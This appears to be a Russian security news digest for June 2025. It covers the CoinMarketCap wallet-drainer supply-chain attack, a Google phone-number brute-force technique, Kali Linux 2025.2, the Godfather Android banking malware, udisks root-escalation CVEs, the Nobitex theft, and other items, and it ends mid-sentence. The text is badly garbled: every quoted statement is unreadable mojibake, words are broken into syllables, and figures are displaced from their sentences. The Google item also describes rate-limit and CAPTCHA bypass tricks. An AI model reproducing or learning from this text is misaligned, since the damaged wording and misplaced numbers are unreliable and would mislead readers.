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В этом месяце: хакеры ата кова ли поль зовате лей
CoinMarketCap, иссле дова тель подоб рал номера телефо нов
для акка унтов Google, выш ла Kali Linux 2025.2 с три над цатью
новыми инс тру мен тами, средс тва крип тобир жи Nobitex укра -
ли и унич тожили, у поч тового хос тера Cock(.)li утек ли дан ные
мил лиона человек, а так же дру гие важ ные и инте рес ные
события июня.

ВЗЛОМ
COINMARKETCAP
По пуляр ный сайт для отсле жива ния кур сов крип товалют CoinMarketCap пос -
тра дал от хакер ской ата ки. Зло умыш ленни ки пытались похитить крип товалю ту
у посети телей ресур са.

Все началось с того, что поль зовате ли CoinMarketCap замети ли стран ные
всплы вающие окна, которые пред лагали им под клю чить кошель ки к сай ту.
Если люди сле дова ли инс трук циям, вре донос ный скрипт похищал у них крип -
товалю ту.

Вско ре пред ста вите ли ком пании под твер дили, что зло умыш ленни ки исполь -
зовали уяз вимость в дуд ле (ани миро ван ном логоти пе ком пании) на глав ной
стра нице сай та и внед рили на стра ницы ресур са вре донос ный JavaScript.

Раз работ чики CoinMarketCap пишут:

«

»

20 èþíÿ 2025 ãîäà íàøà êîìàí äà ïî áåçîïàñ íîñòè îáíà ðóæè ëà óÿç -
âèìîñòü, ñâÿ çàí íóþ ñ èçîá ðàæåíè åì äóä ëà íà íàøåé äîìàø íåé ñòðà -
íèöå. Ýòî èçîá ðàæåíèå ñîäåð æàëî ññûë êó, êîòîðàÿ çàïóñ êàëà âðå -
äîíîñ íûé êîä ÷åðåç âûçîâ API, ÷òî ïðè âîäè ëî ê ïîÿâ ëåíèþ âñïëû -
âàþùå ãî îêíà ïðè ïîñåùå íèè äîìàø íåé ñòðà íèöû ó íåêîòî ðûõ ïîëü -
çîâàòå ëåé. Îáíà ðóæèâ ýòî, ìû íåçàìåä ëèòåëü íî óäà ëèëè ïðîá ëåìíûé
êîí òåíò, îïðå äåëè ëè ïåð âîïðè ÷èíó è ïðè íÿëè êîì ïëåêñíûå ìåðû
ïî èçî ëÿöèè è óñòðà íåíèþ ïðîá ëåìû. Â íàñ òîÿùåå âðå ìÿ âñå ñèñ -
òåìû ðàáîòà þò øòàò íî, à CoinMarketCap áåçîïà ñåí äëÿ âñåõ ïîëü -
çîâàòå ëåé.

Как объ ясни ли спе циалис ты ИБ-ком пании c/side, зло умыш ленни ки каким-то
обра зом изме нили API, с помощью которо го сайт заг ружал дудл для отоб -
ражения на глав ной стра нице. В под менен ный JSON-ответ был добав лен
вре донос ный тег script, внед рявший скрипт для кра жи крип товалю ты
из кошель ков, который под гру жал ся с внеш него сай та (static.cdnkit(.)io).

Ког да поль зователь заходил на стра ницу, скрипт выпол нялся и отоб ражал
фаль шивое всплы вающее окно для под клю чения кошель ка, ими тируя
легитим ный зап рос на Web3-тран закцию. Одна ко на самом деле скрипт был
пред назна чен для кра жи акти вов из под клю чен ных кошель ков.

«
»

Ýòî áûëà àòà êà íà öåïî÷ êó ïîñ òàâîê, òî åñòü âçëîì áûë íàï ðàâëåí
íå íà ñîáñ òâåí íûå ñåð âåðû CoinMarketCap, à íà ñòî ðîí íèé èíñ òðó -
ìåíò èëè ðåñóðñ, èñïîëü çóåìûé CoinMarketCap, — ïîÿñ íÿþò
â c/side. — Òàêèå àòà êè ñëîæ íî îáíà ðóæèòü, ïîñ êîëü êó îíè èñïîëü çóþò
äîâåðåí íûå ýëå ìåí òû ïëàò ôîðìû.

Поз же иссле дова тель, извес тный под ником Rey, поделил ся деталя ми этой
ата ки. На опуб ликован ных им скрин шотах вид но, что в рам ках ата ки
у 110 жертв было укра дено 43 266 дол ларов в крип товалю те, а учас тни ки ата -
ки говори ли на фран цуз ском язы ке в сво ем Telegram-канале.

В отли чие от тра дици онно го фишин га, крип товалют ные дрей неры чаще
все го прод вига ются через пос ты в соци аль ных сетях, рек ламу, под дель ные
сай ты и вре донос ные рас ширения для бра узе ров.

Сог ласно отче там иссле дова телей, толь ко в 2024 году зло умыш ленни ки
похити ли поч ти 500 мил лионов дол ларов в резуль тате подоб ных атак,
нацелен ных более чем на 300 тысяч кошель ков. Сов сем недав но мы пос -
вятили этой проб леме .от дель ную статью

РАСКРЫВАЕМОСТЬ ВЗЛОМОВ — 2%
По информа ции МВД Рос сии, в 2024 году количес тво прес тупле ний, свя зан ных со взло мом
компь ютер ной информа ции, уве личи лось в три раза — с  до .36 200 104 600

При этом из них было рас кры то лишь  прес тупле ний, то есть .2100 2,07%

В МВД свя зыва ют рост прес тупле ний с «при мене нием схе мы мошен ничес тва в отно шении мик -
рофинан совых орга низа ций с исполь зовани ем неп равомер ного дос тупа к учет ным записям
поль зовате лей» пор тала «Госус луги». На такие слу чаи при ходит ся  от всех прес тупле ний
со взло мом.

90%

ТЕЛЕФОНЫ
ОТ GOOGLE-
АККАУНТОВ
Не зави симый иссле дова тель обна ружил уяз вимость, которая поз воляла
подоб рать номер телефо на для любого акка унта Google. Проб лема соз -
давала серь езные рис ки фишин говых атак и атак на под мену SIM-карт.

Проб лему нашел ИБ-спе циалист, извес тный под псев донимом BruteCat.
Напом ним, что в начале текуще го года он , бла -
года ря которо му мож но было узнать адрес элек трон ной поч ты для любого
акка унта на YouTube.

рас ска зывал о дру гом баге

Но вая ата ка стро ится вок руг исполь зования уста рев шей фор мы Google
с отклю чен ным JavaScript (accounts.google(.)com/signin/usernamerecovery),
в которой отсутс тво вали сов ремен ные механиз мы защиты от зло упот ребле -
ний.

Эта стра ница соз давалась для того, что бы поль зовате ли мог ли про верить,
свя зан ли резер вный адрес элек трон ной поч ты или номер телефо на с опре -
делен ным отоб ража емым име нем — display name (нап ример, John Smith).

Как объ ясня ет BruteCat в сво ем отче те, в ито ге новая ата ка поз воляла
узнать номер телефо на, который человек исполь зовал, нас тра ивая вос ста -
нов ление для акка унта Google. В подав ляющем боль шинс тве слу чаев этот
номер сов пада ет с основным телефон ным номером жер твы.

Ста рая фор ма без JavaScript помога ла узнать, свя зан ли кон крет ный
номер телефо на с акка унтом Google, с помощью пары зап росов, осно выва -
ясь на отоб ража емом име ни поль зовате ля.

Ис сле дова тель без тру да обо шел при митив ную защиту от мас совых зап -
росов, реали зован ную в этой фор ме, исполь зуя ротацию IPv6-адре сов
для генера ции трил лионов уни каль ных IP через под сети /64.

Об мануть CAPTCHA, которая отоб ражалась при зап росах, уда лось, под -
ста вив в параметр bgresponse=js_disabled дей стви тель ный токен BotGuard,
взя тый из фор мы с под дер жкой JS.

В ито ге спе циалист соз дал брут форс-инс тру мент, который переби рал диапа -
зоны номеров, исполь зуя фор маты, харак терные для раз ных стран, и отфиль -
тро вывал лож ные сра баты вания.

Так же BruteCat исполь зовал решение libphonenumber от Google
для генера ции кор рек тных фор матов номеров, соз дал базу масок телефон -
ных номеров раз ных стран для опре деле ния фор матов номеров по реги онам,
а так же написал скрипт для генера ции токенов BotGuard через headless
Chrome.

В резуль тате получи лось решение, спо соб ное осу щест влять перебор
со ско ростью око ло 40 тысяч зап росов в секун ду. Таким обра зом, на поиск
телефон ных номеров в США тре бова лось око ло 20 мин, в Великоб ритании —
4 мин, в Нидер ландах — менее 15 с, а в Син гапуре — менее 5 с.

Но что бы про вес ти ата ку на кон крет ного челове ка, тре бова лось выпол нить
еще нес коль ко допол нитель ных шагов. Дело в том, что еще нес коль ко лет
назад узнать чужой display name не сос тавля ло тру да, но с 2023 года раз -
работ чики Google начали скры вать отоб ража емое имя, если перед этим
не было вза имо дей ствия меж ду жер твой и ата кующим, а в 2024 году прак -
тичес ки пол ностью отклю чили отоб ражение display name для боль шинс тва
сер висов.

BruteCat обна ружил, что для обхо да этих огра ниче ний мож но соз дать
документ Looker Studio и наз начить жер тву его вла дель цем (исполь зуя ее
адрес на Gmail). В этом слу чае отоб ража емое имя учет ной записи Google
появ лялось в Looker Studio, где поль зователь ста новил ся вла дель цем
докумен та.

Во ору жив шись получен ной информа цией, ата кующий получал воз -
можность выпол нять пов торя ющиеся зап росы, что бы извлечь все телефон -
ные номера, свя зан ные с кон крет ным display name.

Пос коль ку учет ных записей с оди нако выми отоб ража емы ми име нами мог -
ли быть тысячи, иссле дова тель сужал круг поис ка, исполь зуя час тичный
номер телефо на цели. Что бы узнать час тичный номер телефо на жер твы, он
вос поль зовал ся фун кци ей вос ста нов ления акка унта Google
(https://g(.)co/AccountRecoveryRequest), которая поз воля ет уви деть две пос -
ледние циф ры номера, исполь зующе гося для вос ста нов ления (нап ример, **
******03).

BruteCat отме чает:

«
»

Âðå ìÿ áðóò ôîðñà ìîæ íî çíà ÷èòåëü íî ñîê ðàòèòü çà ñ÷åò ïîä ñêà çîê
î íîìåðå òåëåôî íà, âçÿ òûõ èç ïðî öåäó ðû ñáðî ñà ïàðîëÿ â äðó ãèõ ñåð -
âèñàõ (íàï ðèìåð, PayPal), êîòîðûå ïîêàçû âàþò åùå íåñ êîëü êî öèôð
(íàï ðèìåð, +14*****1779).

Ви деоде монс тра цию экс плу ата ции этой уяз вимос ти мож но уви деть 
.

на
YouTube

Ис ходно BruteCat уве домил Google о проб леме через прог рамму bug
bounty в апре ле 2025 года. Одна ко тог да раз работ чики Google соч ли рис ки
от уяз вимос ти низ кими, и толь ко 22 мая 2025 года ком пания повыси ла уро -
вень опас ности этой проб лемы до сред него и при мени ла вре мен ные меры
для ее устра нения. В ито ге BruteCat получил за свою наход ку воз награж дение
в раз мере 5000 дол ларов.

6 июня 2025 года Google окон чатель но зак рыла дос туп к уяз вимому эндпо -
инту без JavaScript. То есть осу щес твить опи сан ную иссле дова телем ата ку
уже нель зя, одна ко неиз вес тно, не исполь зовались ли обна ружен ные
BruteCat проб лемы зло умыш ленни ками ранее.

НОВЫЙ МОЩНЕЙШИЙ DDOS В ИСТОРИИ
Ком пания Cloudare сооб щила, что еще в мае 2025 года она ней тра лизо вала мощ ней шую
на дан ный момент DDoS-ата ку, пиковая мощ ность которой дос тигла . Ата ка была
нап равле на на неназ ванно го хос тинг-про вай дера.

7,3  Тбит/с

Ата ка на  прев зошла пре дыду щий рекорд, уста нов ленный в янва ре текуще го года и сос -
тавляв ший 5,6 Тбит/с.

12%

Все го за  был передан огромный объ ем дан ных — . Это экви вален тно при мер но
 потоко вого HD-вещания или переда че  фотог рафий в фор мате JPEG.
45 с 37,4 Тбайт

7500 ч 12 500 000

Ата ка исхо дила со  IP-адре сов. Основны ми источни ками тра фика ста ли: Бра зилия,
Вьет нам, Индо незия, Китай, Саудов ская Ара вия, США, Таиланд, Тай вань, Укра ина и Эква дор.

122  145

Ос новной объ ем тра фика ата кующих пред став лял собой UDP-флуд (  от обще го объ -
ема тра фика).

99,996%

KALI LINUX 2025.2
Вто рой в этом году релиз  уже дос тупен для заг рузки, осна -
щен три над цатью новыми инс тру мен тами и получил рас ширен ные воз -
можнос ти для взло ма авто моби лей.

Kali Linux (2025.2)

В этом выпус ке раз работ чики добави ли мно жес тво новых фун кций и усо -
вер шенс тво вали поль зователь ский интерфейс. Сре ди замет ных изме нений
мож но выделить:

пере име нова ние и обновле ние набора инс тру мен тов для взло ма авто -
моби лей;

•

обновле ние меню и поль зователь ско го интерфей са Kali;•
обновле ние Kali NetHunter;•
новые инс тру мен ты для хакин га.•

С релизом Kali Linux 2025.2 CAN Arsenal был пере име нован в CARsenal, что
луч ше отра жает пред назна чение набора инс тру мен тов, ори енти рован ного
на взлом авто моби лей. Кро ме того, теперь он обла дает более удоб ным
интерфей сом.

В обновлен ный CARsenal вош ли сле дующие новые инс тру мен ты:
hlcand — модифи циро ван ный slcand для исполь зования ELM327;•
VIN Info — рас шифро выва ет VIN-номер;•
CaringCaribou — пре дос тавля ет модули Listener, Dump, Fuzzer, Send, UDS
и XCP;

•

ICSim — симуля тор VCAN для тес тирова ния CARsenal без необ ходимос ти
исполь зования аппа рат ных средств.

•

Ме ню Kali было реор ганизо вано в соот ветс твии с MITRE ATT&CK, что дол жно
упростить поиск нуж ных инс тру мен тов как для крас ных, так и для синих
команд. Ранее струк тура меню стро илась на ста рых сис темах (WHAX
и BackTrack), которые зат рудня ли мас шта биро вание и добав ление новых инс -
тру мен тов, что вызыва ло путани цу при попыт ке най ти похожие инс тру мен ты.

«
»

Ìû ñîç äàëè íîâóþ ñèñ òåìó è àâòî ìàòè çèðî âàëè ìíî ãèå àñïåêòû, ÷òî
îáëåã÷à åò íàì óïðàâëå íèå, à âàì — ïîèñê. Âñå â âûèã ðûøå. Ñî âðå -
ìåíåì ìû íàäå åìñÿ äîáàâèòü âñå ýòî íà ñàéò kali.org/tools/, — ïèøóò
ðàç ðàáîò ÷èêè Kali Team. — Îäíà êî â íàñ òîÿùåå âðå ìÿ Kali Purple âñå
åùå èñïîëü çóåò NIST CSF (National Institute of Standards and Technology
Cybersecurity Framework), à íå MITRE D3FEND.

Так же сле дует отме тить, что GNOME обно вил ся до вер сии 48, а KDE
Plasma — до вер сии 6.3; поль зователь ский интерфейс стал более чет ким,
темы были улуч шены, а при ложе ние для чте ния докумен тов Evince замени ли
новым при ложе нием Papers.

Что каса ется новых инс тру мен тов, их в Kali Linux 2025.2 нас читыва ется
целых три над цать:

 — сбор щик дан ных BloodHound из Microsoft Azure;• azurehound
 — инс тру мент для ана лиза про шивок;• binwalk3

 — сбор щик дан ных для BloodHound CE на базе
Python;

• bloodhound-ce-python

 — генера тор умных и эффектив ных спис ков слов;• bopscrk
 — готовые бинар ники для chisel;• chisel-common-binaries

 — быс трый инс тру мент для про вер ки CRLF-уяз вимос тей, написан -
ный на Go (добав лено );

• crlfuzz
@Arszilla

 — генера тор позици онно незави симо го шелл-кода
с запус ком из памяти;

• donut-shellcode

 — ска ниру ет репози тории GitHub и кон трибь юто ров для сбо ра дан -
ных (добав лено );

• gitxray
@weirdlantern

 — ути лита для глу бокой эну мера ции LDAP;• ldeep
 — готовые бинар ники для Advanced ligolo-ng;• ligolo-ng-common-binaries

 — инс тру мент для низ коуров невых опе раций с Kerberos и про веде -
ния атак;

• rubeus

 — сбор щик для BloodHound CE;• sharphound
 — CLI-инс тру мент для тес тирова ния веб-стра ниц на пред мет инъ -

екций шаб лонов.
• tinja

По мимо перечис ленно го, в Kali Linux 2025.2 появи лась под дер жка бес про -
вод ных инъ екций, деаутен тифика ции и перех вата хен дшей ков WPA2 для пер -
вых смарт-часов TicWatch Pro 3 (все вари анты с чип сетом bcm43436b0).

Кро ме того, коман да Kali подели лась , демонс три рующим работу Kali
NetHunter KeX на голов ных устрой ствах Android Auto, и пред ста вила новые
и обновлен ные ядра Kali NetHunter, вклю чая:

ти зером

Xiaomi Redmi 4/4X (A13, новое от );• @MomboteQ
Xiaomi Redmi Note 11 (A15, новое от );• @Madara273
Realme C15 (A10) (обновле ние от );• @Frostleaft07
Samsung Galaxy S10 (A14, A15, exynos9820, обновле ние от );• @V0lk3n
Samsung Galaxy S9 (A13, exynos9810, обновле ние от ).• @V0lk3n

ДУРОВ ОТВЕТИЛ НА ОБВИНЕНИЯ

Па вел Дуров выс тупил на кон ферен ции, пос вящен ной пра вам челове ка (орга низо вана меж -
дународ ной НКО Human Rights House Foundation, деятель ность которой приз нана нежела тель -
ной в РФ).

В начале сво его выс тупле ния осно ватель Telegram отве тил на обви нения в том, что он
зависим от той или иной государс твен ной струк туры:

Я рус ский и ско рее умру, чем ста ну чьим-либо акти вом. Полагаю, люди,
которые выс казыва ют такое мне ние, мало зна ют о моем жиз ненном пути —
о том, чем я занимал ся до Telegram, какую роль «ВКон такте» и Telegram сыг рали
в воп росах защиты сво боды, выраже ния мне ний, сво боды соб раний и неп -
рикос новен ности час тной жиз ни в Вос точной Евро пе.

Продолжение статьи →

mailto:nefedova@glc.ru
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https://www.kali.org/blog/kali-linux-2025-2-release/
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https://www.kali.org/tools/tinja/
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https://gitlab.com/V0lk3n
https://gitlab.com/V0lk3n
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ANDROID-МАЛВАРЬ
С ВИРТУАЛИЗАЦИЕЙ
Но вая вер сия Android-мал вари Godfather соз дает изо лиро ван ные вир туаль -
ные сре ды на мобиль ных устрой ствах, что бы похищать дан ные из бан ков ских
при ложе ний.

Впер вые Godfather был замечен еще в мар те 2021 года иссле дова теля ми
из ком пании ThreatFabric. С тех пор бан кер пре тер пел замет ные изме нения
и силь но отли чает ся от пос ледне го образца,  в декаб -
ре 2022 года. Тог да вре донос ата ковал 400 крип товалют ных и бан ков ских
при ложе ний в 16 стра нах мира, исполь зуя HTML-овер леи.

изу чен ного Group-IB

Как теперь рас ска зали спе циалис ты Zimperium, нашед шие новую модифи -
кацию Godfather, мал варь выпол няет ся на устрой стве в кон тро лиру емой вир -
туаль ной сре де, что поз воля ет в режиме реаль ного вре мени шпи онить,
похищать учет ные дан ные, а так же манипу лиро вать тран закци ями, при этом
сох раняя надеж ную мас киров ку.

Впер вые подоб ная так тика была при мене на в кон це 2023 года в мал вари
 для Android, которая тоже исполь зовала вир туали зацию

для выпол нения бан ков ских при ложе ний внут ри кон тей неров, что бы избе жать
обна руже ния.

FjordPhantom

Од нако если FjordPhantom был нацелен толь ко на поль зовате лей
из Юго-Вос точной Азии, то область атак Godfather гораз до шире: он нацелен
более чем на 500 бан ков ских, крип товалют ных и e-commerce-при ложе ний
по все му миру. В ата ках Godfather при меня ется вир туаль ная фай ловая сис -
тема, вир туаль ный иден тифика тор про цес са, под мена Intent’ов и StubActivity.

В резуль тате, по сло вам экспер тов, поль зователь видит толь ко реаль ный
интерфейс при ложе ния, а защит ные механиз мы Android не замеча ют вре -
донос ной активнос ти, пос коль ку в манифес те заяв лены толь ко дей ствия
хост-при ложе ния.

Godfather рас простра няет ся в фор мате APK-фай ла, содер жащего встро -
енный фрей мворк вир туали зации. Мал варь исполь зует для перех вата
вызовов такие опен сор сные инс тру мен ты, как VirtualApp и Xposed.

Пос ле акти вации на устрой стве жер твы вре донос про веря ет наличие уста -
нов ленных целевых при ложе ний и, если они най дены, помеща ет их в свою
вир туаль ную сре ду, исполь зуя StubActivity для запус ка внут ри хост-кон тей -
нера.

StubActivity фак тичес ки явля ется пус тышкой, под став ной Activity, встро -
енной во вре донос ный APK с движ ком вир туали зации. Она не име ет UI
или собс твен ной логики — слу жит лишь прок си, соз дает кон тей нер и запус -
кает нас тоящие Activity из целевых (нап ример, бан ков ских) при ложе ний внут -
ри вир туаль ной сре ды. Тем самым Godfather обма ныва ет Android, зас тавляя
сис тему счи тать, что запус кает ся легитим ное при ложе ние, тог да как на самом
деле мал варь перех ватыва ет и кон тро лиру ет его.

Ког да поль зователь запус кает нас тоящее бан ков ское при ложе ние,
Godfather, ранее получив ший раз решение на исполь зование Accessibility
Service, перех ватыва ет Intent и перенап равля ет его в StubActivity внут ри
хост-при ложе ния. В ито ге вир туали зиро ван ная копия бан ков ско го при ложе -
ния запус кает ся внут ри кон тей нера. Таким обра зом, поль зователь видит
реаль ный интерфейс при ложе ния, но все свя зан ные с ним кон фиден циаль -
ные дан ные могут быть лег ко перех вачены.

Упо мяну тый выше Xposed при меня ется для API-хукин га, и Godfather
получа ет воз можность сох ранять учет ные дан ные, пароли, PIN-коды, отсле -
живать касания и получать отве ты от бан ков ско го бэкен да.

Кро ме того, в клю чевые момен ты мал варь отоб ража ет под дель ный овер лей,
что бы обма ном вынудить жер тву ввес ти PIN-код или пароль.

Пос ле сбо ра и переда чи всех дан ных сво им опе рато рам Godfather ожи -
дает даль нейшей коман ды от хакеров, что бы раз бло киро вать устрой ство,
совер шить опре делен ные опе рации с поль зователь ским интерфей сом,
открыть при ложе ние и осу щес твить пла теж или перевод из нас тояще го бан -
ков ско го при ложе ния.

При чем поль зователь в это вре мя видит фаль шивый экран «обновле ния»
или чер ный экран, что бы подоз ритель ная активность не прив лекла его вни -
мание.

Хо тя обна ружен ная Zimperium кам пания нацеле на толь ко на ряд турец ких
бан ков ских при ложе ний, иссле дова тели пре дуп режда ют, что дру гие опе рато -
ры Godfather могут выб рать любые под мно жес тва из 500 целевых при ложе ний
для ата ки на дру гие реги оны.

ТРАФИК CLOUDFLARE СНИЗИЛСЯ НА 30%

С начала июня 2025 года тра фик Cloudare в Рос сии сни зил ся при мер но .на треть

При этом более  сай тов в Рунете исполь зуют Cloudare (око ло  ресур сов),
и око ло  сай тов малого и сред него биз неса исполь зуют бес плат ные сер тифика ты Let’s
Encrypt от Cloudare.

40% 300  тысяч
45%

Хо тя ранее Рос комнад зор при зывал вла дель цев рос сий ских интернет-ресур сов отка зать ся
от исполь зования сер виса, сей час в ведомс тве объ ясни ли сни жение объ емов тра фика проб -
лемами у «отдель ных зарубеж ных хос тинг-про вай деров».

ПРОБЛЕМЫ UDISKS
Две све жие уяз вимос ти локаль ного повыше ния при виле гий могут исполь -
зовать ся для получе ния root-при виле гий в сис темах, работа ющих
под управле нием популяр ных дис три бути вов Linux.

Пер вая ошиб ка ( ) была обна руже на в кон фигура ции фрей -
мвор ка Pluggable Authentication Modules (PAM) в openSUSE Leap 15 и SUSE
Linux Enterprise 15. Проб лема поз воля ет локаль ным ата кующим получить при -
виле гии поль зовате ля allow_active.

CVE-2025-6018

Вто рая ошиб ка ( ) обна руже на в  и поз воля ет
поль зовате лю allow_active получить пра ва root через демон  (служ ба
управле ния хра нени ем дан ных, которая по умол чанию исполь зует ся в боль -
шинс тве дис три бути вов Linux).

CVE-2025-6019 libblockdev
udisks

Хо тя объ еди нение этих уяз вимос тей в цепоч ку local-to-root поз воля ет зло -
умыш ленни кам быс тро получить root-при виле гии и пол ностью зах ватить кон -
троль над сис темой, под черки вает ся, что проб лема libblockdev/udisks чрез -
вычай но опас на даже сама по себе.

«

»

Õî òÿ ôîð ìàëü íî äëÿ ýêñ ïëó àòà öèè óÿç âèìîñ òè òðå áóþò ñÿ ïðè âèëå ãèè
allow_active, ïî óìîë ÷àíèþ udisks âõî äèò â ñîñ òàâ ïî÷ òè âñåõ äèñ òðè -
áóòè âîâ Linux, ïîýòî ìó ïðàê òè÷åñ êè ëþáàÿ ñèñ òåìà óÿç âèìà, — îáú -
ÿñíè ëè ýêñïåð òû Qualys Threat Research Unit, îáíà ðóæèâ øèå îáå ïðîá -
ëåìû. — Òåõ íèêè ïîëó÷å íèÿ ïðàâ allow_active, âêëþ ÷àÿ ðàñ êðû òóþ
âûøå ïðîá ëåìó ñ PAM, åùå áîëü øå ñíè æàþò ýòîò áàðü åð. Çëî óìûø -
ëåííèê ìîæåò èñïîëü çîâàòü ýòè óÿç âèìîñ òè äëÿ íåìåä ëåííîé êîì ïðî -
ìåòà öèè ñèñ òåìû ñ ìèíèìàëü íûìè óñè ëèÿìè.

Спе циалис ты Qualys соз дали  и успешно при мени ли уяз -
вимость CVE-2025-6019 для получе ния root-прав в сис темах под управле нием
Ubuntu, Debian, Fedora и openSUSE Leap 15.

PoC-экс пло иты

В сво ем отче те коман да Qualys Security Advisory подели лась 
 тех ничес кой информа цией об уяз вимос тях:

бо лее под -
робной

« »
Ó÷è òûâàÿ ïîâ ñåìåñ òíîå ðàñ ïðîñòðà íåíèå udisks è ïðîñ òîòó ýêñ ïëó àòà -
öèè, îðãà íèçà öèè äîë æíû ðàñ ñìàò ðèâàòü ýòó óÿç âèìîñòü êàê êðè òè÷åñ -
êèé è ïîñ òîÿí íûé ðèñê è íåçàìåä ëèòåëü íî ðàç âåðíóòü èñïðàâ ëåíèÿ.

Ссыл ки на исправ ления мож но най ти в .Openwall

COOKIE В ДАРКНЕТЕ
Ана лити ки NordVPN под счи тали, что в дар кне те и в Telegram про дают ся мил лиар ды укра ден ных
фай лов cookie. Око ло  этих cookie все еще активны и могут исполь зовать ся зло умыш -
ленни ками.

7–9%

Сум марно прес тупни кам дос тупны для покуп ки более  фай лов cookie.93,7 мил лиар да

По дав ляющее боль шинс тво укра ден ных cookie ( ) содер жат дан ные, которые пред -
назна чены для иден тифика ции поль зовате лей и дос тавки целевой рек ламы.

90,25%

Так же cookie могут содер жать име на, домаш ние адре са и адре са элек трон ной поч ты, дан ные
мес тополо жения, пароли, номера телефо нов. Но такая информа ция при сутс тву ет толь ко
в  всех укра ден ных cookie.0,5%

Еще сookie могут содер жать све дения о сеан сах поль зовате лей. Более  таких
фай лов все еще активны (при мер но  от обще го чис ла).

1,2 мил лиар да
6%

Ча ще все го cookie попада ют в руки зло умыш ленни ков бла года ря инфости лерам. Лидером
в этой области иссле дова тели наз вали сти лер  (с ним были свя заны  всех обна -
ружен ных фай лов cookie). Вто рое, третье и чет вертое мес та в спис ке занима ют ,

 и .

Redline 44%
Vidar

LummaC2 Meta

УНИЧТОЖЕНИЕ
АКТИВОВ NOBITEX
Про изра иль ская хак груп па Predatory Sparrow взя ла на себя ответс твен ность
за взлом круп ней шей иран ской крип тобир жи Nobitex. Хакеры похити ли
более 90 мил лионов дол ларов в крип товалю те и умыш ленно «сож гли» эти
средс тва.

«
»

Ñå ãîä íÿ óòðîì 19 èþíÿ íàøà òåõ íè÷åñ êàÿ êîìàí äà îáíà ðóæè ëà ïðèç -
íàêè íåñàí êöè îíè ðîâàí íîãî äîñ òóïà ê ÷àñ òè íàøåé èíôðàñòðóê òóðû
è ãîðÿ÷å ìó êîøåëü êó, — ãëà ñèò îôè öèàëü íîå ñîîá ùåíèå Nobitex. —
Ñðà çó æå ïîñ ëå îáíà ðóæå íèÿ èíöè äåí òà âñå äîñ òóïû áûëè îòîç âàíû,
è íàøè âíóò ðåííèå ñïå öèàëèñ òû ïî áåçîïàñ íîñòè òùà òåëü íî ðàñ ñëå -
äóþò ìàñ øòà áû èíöè äåí òà.

Вско ре пос ле это го груп пиров ка Predatory Sparrow взя ла на себя ответс твен -
ность за ата ку. В соц сети X хакеры пообе щали вско ре опуб ликовать исходные
коды Nobitex и внут реннюю информа цию, похищен ную в резуль тате взло ма.
Ата кующие пре дуп режда ют, что пос ле пуб ликации дан ных любые акти вы,
которые оста нут ся на Nobitex, «будут под угро зой»:

« »
Áèð æà Nobitex ÿâëÿ åòñÿ ñåð äöåì óñè ëèé ðåæèìà ïî ôèíàí ñèðîâà íèþ
òåð ðîðà ïî âñå ìó ìèðó, à òàê æå ëþáèìûì èíñ òðó ìåí òîì ðåæèìà
äëÿ íàðóøå íèÿ ñàí êöèé.

Блок чейн-ана лити ки из ком пании Elliptic рас ска зали, что из кошель ков Nobitex
было укра дено более 90 мил лионов дол ларов в крип товалю те, пос ле чего эти
средс тва нап равились на адре са, кон тро лиру емые хакера ми.

Но похоже, Predatory Sparrow не пыталась извлечь выгоду из это го взло ма.
Дело в том, что хак груп па отпра вила поч ти всю крип товалю ту на vanity-адре са
с анти ислам ски ми сооб щени ями (нап ример, F%ckIRGCterrorists).

Ис сле дова тели объ ясни ли, что для соз дания таких адре сов тре буют ся
огромные вычис литель ные мощ ности и соз дание столь длин ных строк
в vanity-адре сах невоз можно тех ничес ки. То есть хакеры намерен но «сож гли»
крип товалю ту, что бы ник то не смог получить к ней дос туп.

«

»

Ýòà àòà êà íå âûã ëÿäèò ôèíàí ñîâî ìîòèâè ðîâàí íîé, — ïèøóò
â Elliptic. — Vanity-àäðå ñà, èñïîëü çîâàí íûå õàêåðà ìè, ãåíåðè ðóþò ñÿ
ïîñ ðåäñ òâîì áðóò ôîðñà — ñ ïîìîùüþ ñîç äàíèÿ áîëü øîãî êîëè÷åñ òâà
ïàð êðèï òîãðà ôè÷åñ êèõ êëþ ÷åé, ïîêà îäíà èç íèõ íå áóäåò ñîäåð æàòü
íóæ íûé òåêñò. Íî ñîç äàíèå vanity-àäðå ñîâ ñ òàêèìè äëèí íûìè òåê ñòî -
âûìè ñòðî êàìè, êàêèå èñïîëü çîâàëèñü â ýòîì ñëó ÷àå, íåâûïîë íèìî
ñ âû÷èñ ëèòåëü íîé òî÷ êè çðå íèÿ.

Сто ит отме тить, что за день до ата ки Nobitex груп пиров ка Predatory Sparrow
взло мала иран ский банк Bank Sepah. Эта ата ка тоже была ори енти рова на
на наруше ние работы бан ка и нанесе ние ущер ба, и хакеры не прес ледова ли
финан совую выгоду.

ШАДАЕВ О КАДРАХ В ИТ

Выс тупая на форуме на TAdviser Summit, министр циф рового раз вития свя зи и мас совых ком -
муника ций Мак сут Шада ев рас ска зал, что чис ло ИТ-спе циалис тов в Рос сии пре выси ло мил лион
человек и спрос на них сох раня ется, хотя сей час вос тре бова ны более опыт ные кад ры:

По ка мы не видим какой-то тоталь ной замороз ки най ма и того, что ком -
пании, условно, уволь няют айтиш ников, потому что искусс твен ный интеллект
пишет код и они боль ше не нуж ны. Нам кажет ся, что здесь такой ажи отаж нем -
ножко раз дутый. За пять лет количес тво сот рудни ков ИТ-ком паний уве личи лось
на 50%. Их было 990 тысяч на конец 2024 года, а сей час мы, оче вид но,
перешаг нули мил лион. В целом, я счи таю, спрос оста ется.

Дру гое дело, что ажи отаж при вел к тому, что очень мно гие пош ли в эту про -
фес сию, прош ли кур сы онлайн, сей час они джу ны, которые говорят, что они все
уме ют, а ком пани ям нуж ны мид лы, нуж ны силь ные раз работ чики. В этом есть
проб лема.

(Все боль ше) людей хочет устро ить ся в индус трию, но качес тво их под готов -
ки пока не соот ветс тву ет ожи дани ям наших круп ных ком паний, потому что они
как раз идут в сто рону все более слож ных раз работок.

Но пот ребность в кад рах в моем понима нии оста ется. И я при зываю молодое
поколе ние свя зывать свою судь бу с ИТ. Толь ко чуть-чуть надо сме щать ся в сто -
рону робото тех ники, ИИ — это более слож ные спе циаль нос ти, но прог ресс неос -
тановим

CHATGPT ЗАПОМНИТ
ВСЕ
Поль зовате лей OpenAI обес поко ило пос танов ление суда, в котором ком -
панию обя зали сох ранять жур налы чатов с ChatGPT, вклю чая уда лен ные. Ком -
пания уже подала апел ляцию на пос танов ление, утвер ждая, что оно зат -
рагива ет лич ную жизнь сотен мил лионов поль зовате лей ChatGPT по все му
миру.

В офи циаль ном заяв лении COO OpenAI Брэд Лай ткэп (Brad Lightcap) объ -
